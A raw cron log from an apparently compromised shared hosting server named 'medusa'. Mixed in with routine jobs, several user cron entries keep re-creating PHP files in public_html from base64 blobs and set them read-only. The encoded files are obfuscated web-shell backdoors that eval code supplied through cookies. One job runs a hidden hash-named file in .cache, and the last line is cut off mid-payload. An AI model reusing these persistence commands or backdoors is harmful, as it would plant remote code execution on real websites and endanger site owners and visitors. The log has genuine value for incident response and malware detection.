Mar  2 09:37:02 medusa CROND[20340]: (root) CMD (/nutscripts/cleanqueue.sh > /dev/null 2>&1)
Mar  2 09:37:02 medusa CROND[20343]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:37:02 medusa CROND[20348]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:37:02 medusa CROND[20349]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:37:02 medusa CROND[20352]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:37:02 medusa CROND[20362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:37:02 medusa CROND[20364]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 09:37:02 medusa CROND[20366]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:37:02 medusa CROND[20382]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:38:01 medusa CROND[5967]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:38:01 medusa CROND[6234]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:38:01 medusa CROND[6235]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:38:01 medusa CROND[6236]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:38:01 medusa CROND[6237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:38:01 medusa CROND[6238]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:38:01 medusa CROND[6239]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:38:01 medusa CROND[6240]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:38:01 medusa CROND[6241]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:38:01 medusa CROND[6242]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:38:01 medusa CROND[6250]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:38:01 medusa CROND[6249]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 09:38:01 medusa CROND[6253]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:39:02 medusa CROND[27173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:39:02 medusa CROND[27174]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 09:39:02 medusa CROND[27175]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:39:02 medusa CROND[27176]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:39:02 medusa CROND[27177]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7Ci